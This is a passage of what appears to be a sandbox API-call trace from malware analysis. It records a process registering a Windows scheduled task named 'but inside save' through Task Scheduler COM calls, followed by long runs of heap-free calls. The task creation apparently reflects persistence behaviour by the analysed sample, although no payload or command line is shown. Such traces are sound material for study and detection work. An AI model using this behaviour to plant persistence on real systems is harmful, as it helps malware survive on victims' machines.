UserId=0x13cf70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x13cfb0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x13ee80, varVal2=0xfe), LogonType=3, sddl=0x13cf90*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x13ce90 | out: ppTask=0x13ce90*=0x506430) returned 0x0 [0158.402] free (_Block=0x507fb0) [0158.402] _memicmp (_Buf1=0x26bad0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.402] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x26d2c0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0158.402] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0158.402] GetProcessHeap () returned 0x250000 [0158.402] GetProcessHeap () returned 0x250000 [0158.402] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d5a0) returned 1 [0158.402] GetProcessHeap () returned 0x250000 [0158.402] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d5a0) returned 0xe [0158.402] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d5a0 | out: hHeap=0x250000) returned 1 [0158.402] GetProcessHeap () returned 0x250000 [0158.402] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x82) returned 0x289b60 [0158.402] _vsnwprintf (in: _Buffer=0x13d5d0, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x13ce38 | out: _Buffer="SUCCESS: The scheduled task \"but inside save\" has successfully been created.\n") returned 77 [0158.402] _fileno (_File=0x7fefed02ab0) returned -2 [0158.402] _errno () returned 0x504bb0 [0158.402] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0158.402] SetLastError (dwErrCode=0x6) [0158.402] lstrlenW (lpString="SUCCESS: The scheduled task \"but inside save\" has successfully been created.\n") returned 77 [0158.403] GetConsoleOutputCP () returned 0x0 [0158.403] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"but inside save\" has successfully been created.\n", cchWideChar=77, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 77 [0158.403] GetConsoleOutputCP () returned 0x0 [0158.403] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"but inside save\" has successfully been created.\n", cchWideChar=77, lpMultiByteStr=0xffc31880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"but inside save\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 77 [0158.403] fprintf (in: _File=0x7fefed02ab0, _Format="%s" | out: _File=0x7fefed02ab0) returned 77 [0158.403] fflush (in: _File=0x7fefed02ab0 | out: _File=0x7fefed02ab0) returned -1 [0158.403] IUnknown:Release (This=0x506430) returned 0x0 [0158.403] TaskScheduler:IUnknown:Release (This=0x507d20) returned 0x0 [0158.403] TaskScheduler:IUnknown:Release (This=0x507cd0) returned 0x0 [0158.403] TaskScheduler:IUnknown:Release (This=0x507aa0) returned 0x1 [0158.403] lstrlenW (lpString="") returned 0 [0158.403] GetProcessHeap () returned 0x250000 [0158.403] GetProcessHeap () returned 0x250000 [0158.403] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c430) returned 1 [0158.403] GetProcessHeap () returned 0x250000 [0158.403] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26c430) returned 0x1fc [0158.404] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c430 | out: hHeap=0x250000) returned 1 [0158.404] GetProcessHeap () returned 0x250000 [0158.404] GetProcessHeap () returned 0x250000 [0158.404] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d520) returned 1 [0158.404] GetProcessHeap () returned 0x250000 [0158.404] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d520) returned 0x16 [0158.404] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d520 | out: hHeap=0x250000) returned 1 [0158.404] GetProcessHeap () returned 0x250000 [0158.404] GetProcessHeap () returned 0x250000 [0158.404] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d500) returned 1 [0158.404] GetProcessHeap () returned 0x250000 [0158.404] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d500) returned 0x18 [0158.404] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d500 | out: hHeap=0x250000) returned 1 [0158.404] GetProcessHeap () returned 0x250000 [0158.404] GetProcessHeap () returned 0x250000 [0158.404] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cdc0) returned 1 [0158.404] GetProcessHeap () returned 0x250000 [0158.404] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cdc0) returned 0x20 [0158.405] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cdc0 | out: hHeap=0x250000) returned 1 [0158.405] GetProcessHeap () returned 0x250000 [0158.405] GetProcessHeap () returned 0x250000 [0158.405] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c030) returned 1 [0158.405] GetProcessHeap () returned 0x250000 [0158.405] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26c030) returned 0xa0 [0158.405] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c030 | out: hHeap=0x250000) returned 1 [0158.405] GetProcessHeap () returned 0x250000 [0158.405] GetProcessHeap () returned 0x250000 [0158.405] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26bab0) returned 1 [0158.405] GetProcessHeap () returned 0x250000 [0158.405] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26bab0) returned 0x18 [0158.405] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26bab0 | out: hHeap=0x250000) returned 1 [0158.405] GetProcessHeap () returned 0x250000 [0158.405] GetProcessHeap () returned 0x250000 [0158.405] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cb50) returned 1 [0158.405] GetProcessHeap () returned 0x250000 [0158.406] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cb50) returned 0x20 [0158.406] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cb50 | out: hHeap=0x250000) returned 1 [0158.406] GetProcessHeap () returned 0x250000 [0158.406] GetProcessHeap () returned 0x250000 [0158.406] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c3c0) returned 1 [0158.406] GetProcessHeap () returned 0x250000 [0158.406] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26c3c0) returned 0x64 [0158.406] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c3c0 | out: hHeap=0x250000) returned 1 [0158.406] GetProcessHeap () returned 0x250000 [0158.406] GetProcessHeap () returned 0x250000 [0158.406] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d540) returned 1 [0158.406] GetProcessHeap () returned 0x250000 [0158.406] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d540) returned 0x18 [0158.406] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d540 | out: hHeap=0x250000) returned 1 [0158.407] GetProcessHeap () returned 0x250000 [0158.407] GetProcessHeap () returned 0x250000 [0158.407] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cb20) returned 1 [0158.407] GetProcessHeap () returned 0x250000 [0158.407] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cb20) returned 0x20 [0158.407] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cb20 | out: hHeap=0x250000) returned 1 [0158.407] GetProcessHeap () returned 0x250000 [0158.407] GetProcessHeap () returned 0x250000 [0158.407] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c350) returned 1 [0158.407] GetProcessHeap () returned 0x250000 [0158.407] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26c350) returned 0x66 [0158.407] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c350 | out: hHeap=0x250000) returned 1 [0158.407] GetProcessHeap () returned 0x250000 [0158.407] GetProcessHeap () returned 0x250000 [0158.408] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c330) returned 1 [0158.408] GetProcessHeap () returned 0x250000 [0158.408] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26c330) returned 0x18 [0158.408] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c330 | out: hHeap=0x250000) returned 1 [0158.408] GetProcessHeap () returned 0x250000 [0158.408] GetProcessHeap () returned 0x250000 [0158.408] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26caf0) returned 1 [0158.408] GetProcessHeap () returned 0x250000 [0158.408] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26caf0) returned 0x20 [0158.408] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26caf0 | out: hHeap=0x250000) returned 1 [0158.408] GetProcessHeap () returned 0x250000 [0158.408] GetProcessHeap () returned 0x250000 [0158.408] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c310) returned 1 [0158.408] GetProcessHeap () returned 0x250000 [0158.408] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26c310) returned 0xe [0158.408] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c310 | out: hHeap=0x250000) returned 1 [0158.408] GetProcessHeap () returned 0x250000 [0158.408] GetProcessHeap () returned 0x250000 [0158.408] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c2f0) returned 1 [0158.408] GetProcessHeap () returned 0x250000 [0158.408] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26c2f0) returned 0x18 [0158.408] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c2f0 | out: hHeap=0x250000) returned 1 [0158.408] GetProcessHeap () returned 0x250000 [0158.408] GetProcessHeap () returned 0x250000 [0158.408] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265d80) returned 1 [0158.408] GetProcessHeap () returned 0x250000 [0158.408] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265d80) returned 0x20 [0158.409] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265d80 | out: hHeap=0x250000) returned 1 [0158.409] GetProcessHeap () returned 0x250000 [0158.409] GetProcessHeap () returned 0x250000 [0158.409] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26bc30) returned 1 [0158.409] GetProcessHeap () returned 0x250000 [0158.409] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26bc30) returned 0x208 [0158.409] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26bc30 | out: hHeap=0x250000) returned 1 [0158.409] GetProcessHeap () returned 0x250000 [0158.409] GetProcessHeap () returned 0x250000 [0158.409] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26ba90) returned 1 [0158.409] GetProcessHeap () returned 0x250000 [0158.409] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26ba90) returned 0x18 [0158.410] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26ba90 | out: hHeap=0x250000) returned 1 [0158.410] GetProcessHeap () returned 0x250000 [0158.410] GetProcessHeap () returned 0x250000 [0158.410] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265c90) returned 1 [0158.410] GetProcessHeap () returned 0x250000 [0158.410] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265c90) returned 0x20 [0158.410] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265c90 | out: hHeap=0x250000) returned 1 [0158.410] GetProcessHeap () returned 0x250000 [0158.410] GetProcessHeap () returned 0x250000 [0158.410] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d2c0) returned 1 [0158.410] GetProcessHeap () returned 0x250000 [0158.410] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d2c0) returned 0x200 [0158.411] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d2c0 | out: hHeap=0x250000) returned 1 [0158.411] GetProcessHeap () returned 0x250000 [0158.411] GetProcessHeap () returned 0x250000 [0158.411] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26bad0) returned 1 [0158.411] GetProcessHeap () returned 0x250000 [0158.411] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26bad0) returned 0x18 [0158.411] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26bad0 | out: hHeap=0x250000) returned 1 [0158.411] GetProcessHeap () returned 0x250000 [0158.411] GetProcessHeap () returned 0x250000 [0158.411] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265c00) returned 1 [0158.411] GetProcessHeap () returned 0x250000 [0158.411] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265c00) returned 0x20 [0158.412] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265c00 | out: hHeap=0x250000) returned 1 [0158.412] GetProcessHeap () returned 0x250000 [0158.412] GetProcessHeap () returned 0x250000 [0158.412] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c240) returned 1 [0158.412] GetProcessHeap () returned 0x250000 [0158.412] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26c240) returned 0x14 [0158.412] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c240 | out: hHeap=0x250000) returned 1 [0158.412] GetProcessHeap () returned 0x250000 [0158.412] GetProcessHeap () returned 0x250000 [0158.412] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c220) returned 1 [0158.412] GetProcessHeap () returned 0x250000 [0158.412] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26c220) returned 0x18 [0158.412] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c220 | out: hHeap=0x250000) returned 1 [0158.412] GetProcessHeap () returned 0x250000 [0158.412] GetProcessHeap () returned 0x250000 [0158.412] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265b40) returned 1 [0158.412] GetProcessHeap () returned 0x250000 [0158.412] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265b40) returned 0x20 [0158.412] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265b40 | out: hHeap=0x250000) returned 1 [0158.412] GetProcessHeap () returned 0x250000 [0158.412] GetProcessHeap () returned 0x250000 [0158.413] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c260) returned 1 [0158.413] GetProcessHeap () returned 0x250000 [0158.413] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26c260) returned 0x16 [0158.413] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c260 | out: hHeap=0x250000) returned 1 [0158.413] GetProcessHeap () returned 0x250000 [0158.413] GetProcessHeap () returned 0x250000 [0158.413] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c1e0) returned 1 [0158.413] GetProcessHeap () returned 0x250000 [0158.413] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26c1e0) returned 0x18 [0158.413] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c1e0 | out: hHeap=0x250000) returned 1 [0158.413] GetProcessHeap () returned 0x250000 [0158.413] GetProcessHeap () returned 0x250000 [0158.413] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265b10) returned 1 [0158.413] GetProcessHeap () returned 0x250000 [0158.413] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265b10) returned 0x20 [0158.413] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265b10 | out: hHeap=0x250000) returned 1 [0158.413] GetProcessHeap () returned 0x250000 [0158.413] GetProcessHeap () returned 0x250000 [0158.413] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26ba10) returned 1 [0158.413] GetProcessHeap () returned 0x250000 [0158.413] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26ba10) returned 0x2 [0158.413] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26ba10 | out: hHeap=0x250000) returned 1 [0158.413] GetProcessHeap () returned 0x250000 [0158.413] GetProcessHeap () returned 0x250000 [0158.414] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265960) returned 1 [0158.414] GetProcessHeap () returned 0x250000 [0158.414] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265960) returned 0x20 [0158.414] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265960 | out: hHeap=0x250000) returned 1 [0158.414] GetProcessHeap () returned 0x250000 [0158.414] GetProcessHeap () returned 0x250000 [0158.414] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265990) returned 1 [0158.414] GetProcessHeap () returned 0x250000 [0158.414] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265990) returned 0x20 [0158.415] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265990 | out: hHeap=0x250000) returned 1 [0158.415] GetProcessHeap () returned 0x250000 [0158.415] GetProcessHeap () returned 0x250000 [0158.415] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x2659c0) returned 1 [0158.415] GetProcessHeap () returned 0x250000 [0158.415] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x2659c0) returned 0x20 [0158.415] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x2659c0 | out: hHeap=0x250000) returned 1 [0158.415] GetProcessHeap () returned 0x250000 [0158.415] GetProcessHeap () returned 0x250000 [0158.415] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x2659f0) returned 1 [0158.415] GetProcessHeap () returned 0x250000 [0158.415] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x2659f0) returned 0x20 [0158.416] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x2659f0 | out: hHeap=0x250000) returned 1 [0158.416] GetProcessHeap () returned 0x250000 [0158.416] GetProcessHeap () returned 0x250000 [0158.416] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cb80) returned 1 [0158.416] GetProcessHeap () returned 0x250000 [0158.416] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cb80) returned 0x20 [0158.416] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cb80 | out: hHeap=0x250000) returned 1 [0158.417] GetProcessHeap () returned 0x250000 [0158.417] GetProcessHeap () returned 0x250000 [0158.417] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d640) returned 1 [0158.417] GetProcessHeap () returned 0x250000 [0158.417] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d640) returned 0xc [0158.417] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d640 | out: hHeap=0x250000) returned 1 [0158.417] GetProcessHeap () returned 0x250000 [0158.417] GetProcessHeap () returned 0x250000 [0158.417] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cbb0) returned 1 [0158.417] GetProcessHeap () returned 0x250000 [0158.417] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cbb0) returned 0x20 [0158.417] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cbb0 | out: hHeap=0x250000) returned 1 [0158.417] GetProcessHeap () returned 0x250000 [0158.417] GetProcessHeap () returned 0x250000 [0158.417] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x267a80) returned 1 [0158.417] GetProcessHeap () returned 0x250000 [0158.417] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x267a80) returned 0x30 [0158.418] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x267a80 | out: hHeap=0x250000) returned 1 [0158.418] GetProcessHeap () returned 0x250000 [0158.418] GetProcessHeap () returned 0x250000 [0158.418] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cbe0) returned 1 [0158.418] GetProcessHeap () returned 0x250000 [0158.418] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cbe0) returned 0x20 [0158.418] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cbe0 | out: hHeap=0x250000) returned 1 [0158.418] GetProcessHeap () returned 0x250000 [0158.418] GetProcessHeap () returned 0x250000 [0158.418] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x267ac0) returned 1 [0158.418] GetProcessHeap () returned 0x250000 [0158.418] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x267ac0) returned 0x30 [0158.419] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x267ac0 | out: hHeap=0x250000) returned 1 [0158.419] GetProcessHeap () returned 0x250000 [0158.419] GetProcessHeap () returned 0x250000 [0158.419] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cd90) returned 1 [0158.419] GetProcessHeap () returned 0x250000 [0158.419] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cd90) returned 0x20 [0158.419] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cd90 | out: hHeap=0x250000) returned 1 [0158.419] GetProcessHeap () returned 0x250000 [0158.419] GetProcessHeap () returned 0x250000 [0158.419] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d560) returned 1 [0158.419] GetProcessHeap () returned 0x250000 [0158.419] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d560) returned 0x16 [0158.419] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d560 | out: hHeap=0x250000) returned 1 [0158.419] GetProcessHeap () returned 0x250000 [0158.419] GetProcessHeap () returned 0x250000 [0158.419] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cd60) returned 1 [0158.419] GetProcessHeap () returned 0x250000 [0158.419] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cd60) returned 0x20 [0158.420] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cd60 | out: hHeap=0x250000) returned 1 [0158.420] GetProcessHeap () returned 0x250000 [0158.420] GetProcessHeap () returned 0x250000 [0158.420] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d580) returned 1 [0158.420] GetProcessHeap () returned 0x250000 [0158.420] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d580) returned 0x16 [0158.420] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d580 | out: hHeap=0x250000) returned 1 [0158.420] GetProcessHeap () returned 0x250000 [0158.420] GetProcessHeap () returned 0x250000 [0158.420] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cd30) returned 1 [0158.420] GetProcessHeap () returned 0x250000 [0158.420] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cd30) returned 0x20 [0158.420] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cd30 | out: hHeap=0x250000) returned 1 [0158.420] GetProcessHeap () returned 0x250000 [0158.420] GetProcessHeap () returned 0x250000 [0158.420] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x289b60) returned 1 [0158.420] GetProcessHeap () returned 0x250000 [0158.420] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x289b60) returned 0x82 [0158.420] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x289b60 | out: hHeap=0x250000) returned 1 [0158.420] GetProcessHeap () returned 0x250000 [0158.421] GetProcessHeap () returned 0x250000 [0158.421] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cd00) returned 1 [0158.421] GetProcessHeap () returned 0x250000 [0158.421] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cd00) returned 0x20 [0158.421] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cd00 | out: hHeap=0x250000) returned 1 [0158.421] GetProcessHeap () returned 0x250000 [0158.421] GetProcessHeap () returned 0x250000 [0158.421] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d5c0) returned 1 [0158.421] GetProcessHeap () returned 0x250000 [0158.421] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d5c0) returned 0xe [0158.421] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d5c0 | out: hHeap=0x250000) returned 1 [0158.421] GetProcessHeap () returned 0x250000 [0158.421] GetProcessHeap () returned 0x250000 [0158.421] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26ccd0) returned 1 [0158.421] GetProcessHeap () returned 0x250000 [0158.421] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26ccd0) returned 0x20 [0158.421] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26ccd0 | out: hHeap=0x250000) returned 1 [0158.421] GetProcessHeap () returned 0x250000 [0158.421] GetProcessHeap () returned 0x250000 [0158.421] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d5e0) returned 1 [0158.421] GetProcessHeap () returned 0x250000 [0158.421] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d5e0) returned 0xc [0158.422] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d5e0 | out: hHeap=0x250000) returned 1 [0158.422] GetProcessHeap () returned 0x250000 [0158.422] GetProcessHeap () returned 0x250000 [0158.422] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cca0) returned 1 [0158.422] GetProcessHeap () returned 0x250000 [0158.422] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cca0) returned 0x20 [0158.422] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cca0 | out: hHeap=0x250000) returned 1 [0158.422] GetProcessHeap () returned 0x250000 [0158.422] GetProcessHeap () returned 0x250000 [0158.422] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d600) returned 1 [0158.422] GetProcessHeap () returned 0x250000 [0158.422] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d600) returned 0xe [0158.422] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d600 | out: hHeap=0x250000) returned 1 [0158.422] GetProcessHeap () returned 0x250000 [0158.422] GetProcessHeap () returned 0x250000 [0158.422] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cc70) returned 1 [0158.422] GetProcessHeap () returned 0x250000 [0158.422] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cc70) returned 0x20 [0158.422] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cc70 | out: hHeap=0x250000) returned 1 [0158.422] GetProcessHeap () returned 0x250000 [0158.423] GetProcessHeap () returned 0x250000 [0158.423] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d620) returned 1 [0158.423] GetProcessHeap () returned 0x250000 [0158.423] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d620) returned 0x10 [0158.423] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d620 | out: hHeap=0x250000) returned 1 [0158.423] GetProcessHeap () returned 0x250000 [0158.423] GetProcessHeap () returned 0x250000 [0158.423] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cc40) returned 1 [0158.423] GetProcessHeap () returned 0x250000 [0158.423] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cc40) returned 0x20 [0158.423] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cc40 | out: hHeap=0x250000) returned 1 [0158.423] GetProcessHeap () returned 0x250000 [0158.423] GetProcessHeap () returned 0x250000 [0158.423] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26ba30) returned 1 [0158.423] GetProcessHeap () returned 0x250000 [0158.423] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26ba30) returned 0x18 [0158.423] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26ba30 | out: hHeap=0x250000) 